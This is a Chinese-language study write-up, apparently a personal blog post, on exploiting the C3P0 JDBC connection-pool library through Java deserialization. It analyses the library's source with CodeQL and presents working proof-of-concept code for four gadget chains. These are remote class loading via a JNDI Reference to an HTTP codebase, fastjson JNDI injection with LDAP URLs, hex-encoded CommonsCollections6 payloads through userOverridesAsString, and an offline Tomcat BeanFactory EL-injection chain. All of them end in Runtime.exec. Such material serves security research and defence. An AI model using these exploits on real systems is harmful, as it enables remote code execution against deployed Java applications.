前言 C3P0是什么呢,它属于一个开源的JDBC连接池,而JDBC英文全称:Java DataBase Connectivity,是java程序访问数据库的标准接口,毕竟java不可能通过TCP去连接数据库 连接池的作用即是,当我们频繁操作数据库时,无可避免伴随大量的创建和销毁举兵,会增大资源消耗,而连接池就是我们提前写好一些句柄,使用的时候就拿出来,不用了再放进去 而一般情况,java中对于数据库相关连接的组件,无可避免的带着若许序列化反序列化操作 or JNDI服务
依赖 1 2 3 4 5 <dependency > <groupId > com.mchange</groupId > <artifactId > c3p0</artifactId > <version > 0.9.5.2</version > </dependency >
jdk8u65
学习 常见的链子有三种
URLClassLoader远程类加载
JNDI注入
利用HEX序列化字节加载器进行反序列化攻击
方式一:URLClassLoader 这里简单说明一下 URLClassLoader 是 Java 中的一个类加载器,它扩展了 ClassLoader,能够从本地目录、JAR 包中以及网络指定位置加载类 这里关键类ReferenceableUtils 其余自己就进IDEA里调吧 IDEA里找引用还是不太方便,这里宁愿直接build成数据库直接Codeql了 当作熟悉操作了
具体操作(可能是邪修)
1 2 3 4 5 新建项目,导入C3p0包 build,得到的jar包里有C3p0依赖 再用jsax解包,得到sources codeql database create db-name --language=java --source-root=./sources --build-mode=none 成功创建数据库
查找一下关键方法1的调用情况referenceToObject 效果也是相当好的
1 2 3 4 5 6 import java from MethodCall call where call.getMethod().getName() = "referenceToObject" select call, call.getMethod(), call.getLocation()
有这么两处,关键在这个getObject方法上
这里很有意思,我们看到了lookup方法,但是没有参数控制,实现不显示
再看一下这个方法的被调用情况
1 2 3 4 5 6 7 import java from MethodCall call where call.getMethod().getName() = "getObject" and call.getMethod().getDeclaringType().getName() = "ReferenceIndirector" select call, call.getMethod(), call.getLocation()
注意上面这个查询语句是错误的,一般也不会直接调用这么好指定类的getObject方法,直接找getObject,手动看
差不多有两个类PoolBackedDataSourceBase+JndiRefDataSourceBase
主要看PoolBackedDataSourceBase 最后找到
1 2 3 4 5 6 7 8 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { short version = ois.readShort(); switch (version) { case 1 : Object o = ois.readObject(); if (o instanceof IndirectlySerialized) { o = ((IndirectlySerialized) o).getObject(); }
为PoolBackedDataSourceBase#readObject方法 也有一处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { short version = ois.readShort(); switch (version) { case 1 : this .caching = ois.readBoolean(); this .factoryClassLocation = (String) ois.readObject(); this .identityToken = (String) ois.readObject(); this .jndiEnv = (Hashtable) ois.readObject(); Object o = ois.readObject(); if (o instanceof IndirectlySerialized) { o = ((IndirectlySerialized) o).getObject(); } this .jndiName = o; this .pcs = new PropertyChangeSupport (this ); this .vcs = new VetoableChangeSupport (this ); return ; default : throw new IOException ("Unsupported Serialized Version: " + ((int ) version)); } }
com.mchange.v2.c3p0.impl#JndiRefDataSourceBase
我们先看第一个的EXP如何写 这就需要我们动调了?当然直接静态分析也可,需要追踪污点
简单调一下 关键点在于
1 2 3 this.connectionPoolDataSource = (ConnectionPoolDataSource) o; 执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口,所以是无法直接用于代码里面的。
我们跟进一下writeObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 private void writeObject ( ObjectOutputStream oos ) throws IOException{ oos.writeShort( VERSION ); try { SerializableUtils.toByteArray(connectionPoolDataSource); oos.writeObject( connectionPoolDataSource ); } catch (NotSerializableException nse) { com.mchange.v2.log.MLog.getLogger( this .getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect." , nse); try { Indirector indirector = new com .mchange.v2.naming.ReferenceIndirector(); oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) ); } catch (IOException indirectionIOException) { throw indirectionIOException; } catch (Exception indirectionOtherException) { throw new IOException ("Problem indirectly serializing connectionPoolDataSource: " + indirectionOtherException.toString() ); } } oos.writeObject( dataSourceName ); try { SerializableUtils.toByteArray(extensions); oos.writeObject( extensions ); } catch (NotSerializableException nse) { com.mchange.v2.log.MLog.getLogger( this .getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect." , nse); try { Indirector indirector = new com .mchange.v2.naming.ReferenceIndirector(); oos.writeObject( indirector.indirectForm( extensions ) ); } catch (IOException indirectionIOException) { throw indirectionIOException; } catch (Exception indirectionOtherException) { throw new IOException ("Problem indirectly serializing extensions: " + indirectionOtherException.toString() ); } } oos.writeObject( factoryClassLocation ); oos.writeObject( identityToken ); oos.writeInt(numHelperThreads); }
跟进 indirector.indirectForm() 看一看,当然这个地方的 indirector 实际上就是 com.mchange.v2.naming.ReferenceIndirector,所以语句等价于
1 ReferenceIndirector.indirectForm()
返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类,而它是可序列化的
即,经过这么一步操作,拿到的 “ConnectionPoolDataSource” 外表上还是 “ConnectionPoolDataSource”,但是实际上已经变成了 “ReferenceSerialized” 这个类=>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public Object getObject () throws ClassNotFoundException, IOException { try { InitialContext var1; if (this .env == null ) { var1 = new InitialContext (); } else { var1 = new InitialContext (this .env); } Context var2 = null ; if (this .contextName != null ) { var2 = (Context)var1.lookup(this .contextName); } return ReferenceableUtils.referenceToObject(this .reference, this .name, var2, this .env); } catch (NamingException var3) { if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) { ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object." , var3); } throw new InvalidObjectException ("Failed to acquire the Context necessary to lookup an Object: " + var3.toString()); } }
抄一下网上的payload
ReferenceableUtils.referenceToObject
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 public class exp { public exp () throws Exception{ Runtime.getRuntime().exec("calc" ); } } import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.PrintWriter;import java.sql.Connection;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;public class CPDS implements ConnectionPoolDataSource , Referenceable { @Override public Reference getReference () throws NamingException { return new Reference ("ExpClass" ,"exp" ,"http://127.0.0.1:8888/" ); } @Override public PooledConnection getPooledConnection () throws SQLException { return null ; } @Override public PooledConnection getPooledConnection (String user, String password) throws SQLException { return null ; } @Override public PrintWriter getLogWriter () throws SQLException { return null ; } @Override public void setLogWriter (PrintWriter out) throws SQLException { } @Override public void setLoginTimeout (int seconds) throws SQLException { } @Override public int getLoginTimeout () throws SQLException { return 0 ; } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return null ; } } import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import java.io.*;import java.lang.reflect.Field;public class Test { public static void main (String[] args) throws Exception { PoolBackedDataSourceBase pbds=new PoolBackedDataSourceBase (false ); Class cls= pbds.getClass(); Field field=cls.getDeclaredField("connectionPoolDataSource" ); field.setAccessible(true ); field.set(pbds,new CPDS ()); serialize(pbds); unserialize(); } public static void serialize (PoolBackedDataSourceBase pbds) throws Exception{ FileOutputStream fil=new FileOutputStream (new File ("ser.bin" )); ObjectOutputStream oos= new ObjectOutputStream (fil); oos.writeObject(pbds); } public static void unserialize () throws Exception { FileInputStream fis=new FileInputStream (new File ("ser.bin" )); ObjectInputStream objectInputStream=new ObjectInputStream (fis); objectInputStream.readObject(); } }
大抵跟了一遍,还是很明白的
方式二:JNDI注入 该链子是基于fastjson的,我们找到触发点,向上走到set/get方法,再利用fastjson进行触发 找下lookup的被调用的类 这里感觉比较可疑的有JndiRefForwardingDataSource 不过再分析这个类之前,我们看一下之前,为什么那个可以的lookup失败 看
1 2 3 if (this .contextName != null ) { context = (Context) initialContext.lookup(this .contextName); }
这里的contextName是一个类,是无法赋给字符串对象的
那么现在呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private DataSource dereference () throws SQLException { InitialContext ctx; Object jndiName = getJndiName(); Hashtable jndiEnv = getJndiEnv(); try { if (jndiEnv != null ) { ctx = new InitialContext (jndiEnv); } else { ctx = new InitialContext (); } if (jndiName instanceof String) { return (DataSource) ctx.lookup((String) jndiName); } if (jndiName instanceof Name) { return (DataSource) ctx.lookup((Name) jndiName); } throw new SQLException ("Could not find ConnectionPoolDataSource with JNDI name: " + jndiName); } catch (NamingException e) { if (logger.isLoggable(MLevel.WARNING)) { logger.log(MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!" , e); } throw SqlUtils.toSQLException(e); } }
这里是可以传入的 我们如何控制整个jndiname呢? 只要我们找到一条fastjson链的入口即可,赋值很简单 我们发现inner方法调用了这个类 如何调用inner呢?有很多的set&get方法,利用fastjson即可 也可以继续网上走
1 还要继续向上找,可能是因为这个 JndiRefForwardingDataSource 类是 default 的类,觉得利用面还是不够大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 JndiRefConnectionPoolDataSource这个类同理,原理是一样的 导入 fastjson 的包,导 1.2 .24 ,因为 1.2 .25 版本的 fastjson 当中就已经把 com.mchange 包加入了黑名单 至于fault和public 区别 即 package JNDIVul; import com.alibaba.fastjson.JSON; public class JndiForwardingDataSourceEXP { public static void main (String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," + "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}" ; JSON.parse(payload); } } public class JndiRefConnectionPoolDataSourceTest { public static void main (String[] args) throws PropertyVetoException, SQLException { JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource (); jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject" ); jndiRefConnectionPoolDataSource.setLoginTimeout(1 ); } } 当然public 也可以fastjson触发 public class JndiRefConnectionPoolDataSourceEXP { public static void main (String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}" ; JSON.parse(payload); } }
方式三:hexbase 攻击 WrapperConnectionPoolDataSource 类,它能够反序列化一串十六进制字符串
链子首部是在 WrapperConnectionPoolDataSource 类的构造函数
1 2 3 4 5 6 7 try { this .userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this .getUserOverridesAsString() ); } catch (Exception e) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this .getUserOverridesAsString(), e ); }
1 2 3 4 5 6 7 8 9 10 11 public static Map parseUserOverridesAsString ( String userOverridesAsString ) throws IOException, ClassNotFoundException{ if (userOverridesAsString != null ) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1 , userOverridesAsString.length() - 1 ); byte [] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
1 2 3 4 5 6 7 8 9 10 11 public static Map parseUserOverridesAsString ( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null ) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1 , userOverridesAsString.length() - 1 ); byte [] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
1 2 3 4 public static Object deserializeFromByteArray (byte [] var0) throws IOException, ClassNotFoundException { ObjectInputStream var1 = new ObjectInputStream (new ByteArrayInputStream (var0)); return var1.readObject(); }
这里是一处反序列化 传入的字符串有何要求呢? 在parseUserOverridesAsString
1 这里把 hex 字符串读了进来,把转码后的结果保存到了 serBytes 这个字节流的数组中,这个字节流是拿去进行 SerializableUtils.fromByteArray()的操作,值得注意的是,在解析过程中调用了 substring() 方法将字符串头部的 HASM_HEADER 截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;
EXP 1 getUserOverridesAsString()这个方法可以通过fastjson触发,这里也是一道典型的二次反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 package hexBase; import com.alibaba.fastjson.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class HexBaseFastjsonEXP { public static Map CC6 () throws NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer ("five" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "value" ); lazyMap.remove("key" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, chainedTransformer); return expMap; } static void addHexAscii (byte b, StringWriter sw) { int ub = b & 0xff ; int h1 = ub / 16 ; int h2 = ub % 16 ; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit (int h) { char out; if (h <= 9 ) out = (char ) (h + 0x30 ); else out = (char ) (h + 0x37 ); return out; } public static byte [] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bao); oos.writeObject(o); return bao.toByteArray(); } public static String toHexAscii (byte [] bytes) { int len = bytes.length; StringWriter sw = new StringWriter (len * 2 ); for (int i = 0 ; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException { String hex = toHexAscii(tobyteArray(CC6())); System.out.println(hex); String payload = "{" + "\"1\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + "}," + "\"2\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}" + "}" ; JSON.parse(payload); } }
低版本fastjson直接
1 2 3 4 String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}" ;
这俩exp都可以调试一下,就会更清楚原理了 精细的东西还是要懂的
不出网利用 以上的攻击方式,基本依赖出网条件 or fastjson 有没有其他办法呢?
1 在 Jndi 高版本利用中,我们可以加载本地的 Factory 类进行攻击,而利用条件之一就是该工厂类至少存在一个 getObjectInstance() 方法。比如通过加载 Tomcat8 中的 org.apache.naming.factory.BeanFactory 进行 EL 表达式注入
依赖
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 8.5.0</version > </dependency > <dependency > <groupId > org.apache.tomcat.embed</groupId > <artifactId > tomcat-embed-el</artifactId > <version > 8.5.15</version > </dependency >
以上三条链子,还是依赖URLClassLoader,毕竟它不止是能加载远程还有本地 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 package NoNetUsing; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class NoAccessEXP { public static class Loader_Ref implements ConnectionPoolDataSource , Referenceable { @Override public Reference getReference () throws NamingException { ResourceRef resourceRef = new ResourceRef ("javax.el.ELProcessor" , (String)null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , (String)null ); resourceRef.add(new StringRefAddr ("forceString" , "faster=eval" )); resourceRef.add(new StringRefAddr ("faster" , "Runtime.getRuntime().exec(\"calc\")" )); return resourceRef; } @Override public PooledConnection getPooledConnection () throws SQLException { return null ; } @Override public PooledConnection getPooledConnection (String user, String password) throws SQLException { return null ; } @Override public PrintWriter getLogWriter () throws SQLException { return null ; } @Override public void setLogWriter (PrintWriter out) throws SQLException { } @Override public void setLoginTimeout (int seconds) throws SQLException { } @Override public int getLoginTimeout () throws SQLException { return 0 ; } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return null ; } } public static void serialize (ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase (false ); Class cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource" ); field.setAccessible(true ); field.set(poolBackedDataSourceBase,c); FileOutputStream fos = new FileOutputStream (new File ("ser.bin" )); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(poolBackedDataSourceBase); } public static void unserialize () throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream (new File ("ser.bin" )); ObjectInputStream objectInputStream = new ObjectInputStream (fis); objectInputStream.readObject(); } public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Loader_Ref loader_ref = new Loader_Ref (); serialize(loader_ref); unserialize(); } }
结语 该链子的出境频率很高
1 C3P0 的包在实战环境中除CommonsCollections、CommonsBeanutiles 以外遇到最多的 JAR 包,其中一部分 C3P0 是被 org.quartz-scheduler:quartz 所依赖进来的。